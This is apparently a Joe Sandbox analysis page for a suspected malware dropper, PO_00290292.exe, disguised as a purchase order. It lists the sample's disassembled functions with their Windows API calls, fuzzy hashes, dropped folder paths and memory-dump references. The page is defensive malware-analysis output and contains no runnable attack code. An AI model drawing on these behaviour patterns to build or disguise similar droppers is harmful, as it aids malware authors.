Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\PO_00290292.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2107869092
Opcode ID: ba752c91d03ec01f63b9c4f62f06acfe59d2ba7d741f037e803b5e880a418ded
Instruction ID: a69a53d4b23f3d63feeda802a3e8a765614c71270742c911b33c62312df6cecc
Opcode Fuzzy Hash: ba752c91d03ec01f63b9c4f62f06acfe59d2ba7d741f037e803b5e880a418ded
Instruction Fuzzy Hash: 32F06D76600608BBDB008B59DD09AABBBB8EF91710F10803BEE01F7190E6B09A548B64

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 58c60bd3f3897121054778c1da70f1d8408b3ab71b88223ff436e3f080a0af7a
Instruction ID: b9f5b7c8593eadded22e2ca3cbb8d83d08b5e31647f9888e60cfbaa55d101d4e
Opcode Fuzzy Hash: 58c60bd3f3897121054778c1da70f1d8408b3ab71b88223ff436e3f080a0af7a
Instruction Fuzzy Hash: 66116A71504119FFEF10AF90DF8CEAE3B79FB14384B10007AF905E11A0D7B58E55AA69

Uniqueness

Uniqueness Score: -1.00%

Function 004031EF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403203

Part of subcall function 0040336E: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040306C,?), ref: 0040337C

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403119,00000004,00000000,00000000,?,?,00403093,000000FF,00000000,00000000,0040A230,?), ref: 00403236
SetFilePointer.KERNELBASE(00097E78,00000000,00000000,00414ED0,00004000,?,00000000,00403119,00000004,00000000,00000000,?,?,00403093,000000FF,00000000), ref: 00403331

Strings

x~, xrefs: 004031F2, 0040330F

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: x~
API String ID: 1092082344-1841499174
Opcode ID: 7f87ec3f3126c4afc5deb31522855fdbb853a78037bb661dde8e94ffc6001a55
Instruction ID: 2fd669d0756999c0d63da40b5d988076205959dac08f3783f289fe1fafb1afdd
Opcode Fuzzy Hash: 7f87ec3f3126c4afc5deb31522855fdbb853a78037bb661dde8e94ffc6001a55
Instruction Fuzzy Hash: 19314B72500204DBD710DF69EEC49663FA9F74075A718423FE900F22E0CBB55D458B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 298dafdcb9fb76c6349735f3086c7c7de60bc97eebb8a6152003ba88438aff8e
Instruction ID: 9ab6cbc1baff8286944736a18d7265b6422843b7a732a624d4201333bc7942cf
Opcode Fuzzy Hash: 298dafdcb9fb76c6349735f3086c7c7de60bc97eebb8a6152003ba88438aff8e
Instruction Fuzzy Hash: F2219071940209BEEF01AFB5CE4AABE7B75EF44744F10403EFA01B61D1D6B88A409B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405C3A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040617E: lstrcpynW.KERNEL32(?,?,00000400,00403463,00429240,NSIS Error), ref: 0040618B

Part of subcall function 00405BDD: CharNextW.USER32(?,?,00425F30,?,00405C51,00425F30,00425F30, 4Wu.Wu,?,75572EE0,0040598F,?,75573420,75572EE0,00000000), ref: 00405BEB
Part of subcall function 00405BDD: CharNextW.USER32(00000000), ref: 00405BF0
Part of subcall function 00405BDD: CharNextW.USER32(00000000), ref: 00405C08

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30, 4Wu.Wu,?,75572EE0,0040598F,?,75573420,75572EE0,00000000), ref: 00405C93
GetFileAttributesW.KERNELBASE(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30, 4Wu.Wu,?,75572EE0,0040598F,?,75573420,75572EE0), ref: 00405CA3

Strings

0_B, xrefs: 00405C40
4Wu.Wu, xrefs: 00405C3C

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4Wu.Wu$0_B
API String ID: 3248276644-297793725
Opcode ID: 8c509004bd2409bcc8bce800ca11afa93321ed7f3e6ee2afcf27be4b7ee26805
Instruction ID: 790be11e20efdccda9c73cacd4945748764c6204d4d0b11914a12a4c94a1ccfd
Opcode Fuzzy Hash: 8c509004bd2409bcc8bce800ca11afa93321ed7f3e6ee2afcf27be4b7ee26805
Instruction Fuzzy Hash: 41F0F925108F6515F62233790D05EAF2554CF82394755067FF891B12D1DB3C9D938C7D

Uniqueness

Uniqueness Score: -1.00%

Function 0040604B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Remove folder: ,?,004062BE,80000002,Software\Microsoft\Windows\CurrentVersion,?,Remove folder: ,?), ref: 00406075
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,004062BE,80000002,Software\Microsoft\Windows\CurrentVersion,?,Remove folder: ,?), ref: 00406096
RegCloseKey.KERNELBASE(?,?,004062BE,80000002,Software\Microsoft\Windows\CurrentVersion,?,Remove folder: ,?), ref: 004060B9

Strings

Remove folder: , xrefs: 0040604E

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Remove folder:
API String ID: 3677997916-1958208860
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 0186f18981595c0b19feb364ea02d5f95392918b8fa258a18f8687652683a575
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 4501483115020AEADF21CF66ED08E9B3BA8EF84390B01402AF845D2220D735D964DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004052DD: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
Part of subcall function 004052DD: lstrlenW.KERNEL32(00402E19,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
Part of subcall function 004052DD: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00402E19), ref: 00405338
Part of subcall function 004052DD: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\), ref: 0040534A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
Part of subcall function 004052DD: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

Part of subcall function 0040585E: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 00405887
Part of subcall function 0040585E: CloseHandle.KERNEL32(?), ref: 00405894

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: a93272ca9247789d0c80852616a40b8bf2a69f58e54105aa7b18d312abe2cf43
Instruction ID: 5702df78c33f9bd13decba52644e1012fe72a42f767711efff684f6f7274af03
Opcode Fuzzy Hash: a93272ca9247789d0c80852616a40b8bf2a69f58e54105aa7b18d312abe2cf43
Instruction Fuzzy Hash: FF11A131900508EBCF21AF91CD4499E7AB6AF40314F21407BFA05B61F1D7798A92DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004038D5 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,00403708,?), ref: 004038E7
CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,00403708,?), ref: 004038FB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004038DA
C:\Users\user\AppData\Local\Temp\nsp6601.tmp\, xrefs: 0040390B

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsp6601.tmp\
API String ID: 2962429428-515242160
Opcode ID: f084a8137c272c7609008576fb265960e9ac12256820a4da339362f4de570230
Instruction ID: 23b98c188a40640ee87c89e263e7d2a3484f90a0975adae1b2ea6fd77d705eba
Opcode Fuzzy Hash: f084a8137c272c7609008576fb265960e9ac12256820a4da339362f4de570230
Instruction Fuzzy Hash: 78E086B14407149AC124AF7CAD495853A185F453357248726F178F20F0C778996B5E9D

Uniqueness

Uniqueness Score: -1.00%

Function 004030E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403093,000000FF,00000000,00000000,0040A230,?), ref: 0040310C

Strings

x~, xrefs: 00403101, 004031A1, 004031E1

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: FilePointer
String ID: x~
API String ID: 973152223-1841499174
Opcode ID: 1aa85c7260de761b297061d79344dc340e95e4778a17b24641d9514d9a29d692
Instruction ID: 040f2acbe5348ef8c996952313d322865bd2faa87b76d8d9ba7109e69b0e4b3d
Opcode Fuzzy Hash: 1aa85c7260de761b297061d79344dc340e95e4778a17b24641d9514d9a29d692
Instruction Fuzzy Hash: 22316B30200219EBDB108F55ED84ADA3F68EB08359F20813AF905EA1D0DB79DF50DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405BDD: CharNextW.USER32(?,?,00425F30,?,00405C51,00425F30,00425F30, 4Wu.Wu,?,75572EE0,0040598F,?,75573420,75572EE0,00000000), ref: 00405BEB
Part of subcall function 00405BDD: CharNextW.USER32(00000000), ref: 00405BF0
Part of subcall function 00405BDD: CharNextW.USER32(00000000), ref: 00405C08

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 004057AC: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004057EF

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement
API String ID: 1892508949-4198271790
Opcode ID: 2305ffb504cd1727ef0d2f6d990949bd10217623809cec2c7a11ebe9bcb6ddd7
Instruction ID: 18abe7de9e9977a76830232601504265d2e6edcedfe07fce7f69d5744a4425eb
Opcode Fuzzy Hash: 2305ffb504cd1727ef0d2f6d990949bd10217623809cec2c7a11ebe9bcb6ddd7
Instruction Fuzzy Hash: F911E631500504EBCF207FA0CD0199E3AB2EF44364B25453BF906B61F2DA3D4A819E5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040585E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 00405887
CloseHandle.KERNEL32(?), ref: 00405894

Strings

Error launching installer, xrefs: 00405871

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 03ab27a360793ac613c0483ba4ee8f6366951212bcf32abb356d437eb8ce57e6
Instruction ID: 0fb7bd0647ee639374dbc29985885c8cd5f4694ddcbbc5ba66c50ad851a9a680
Opcode Fuzzy Hash: 03ab27a360793ac613c0483ba4ee8f6366951212bcf32abb356d437eb8ce57e6
Instruction Fuzzy Hash: 22E04FB0A002097FEB009B64ED45F7B77ACEB04208F408431BD00F2150D77498248A78

Uniqueness

Uniqueness Score: -1.00%

Function 00406C7B Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6748365695d0b60958ae2de605dce3010a9a46cb287cd8314348fa6e45a6e7ef
Instruction ID: 95c87b37ce546c92696c349aad8761a6baa0f42cb897a758cf539d426e2a5a70
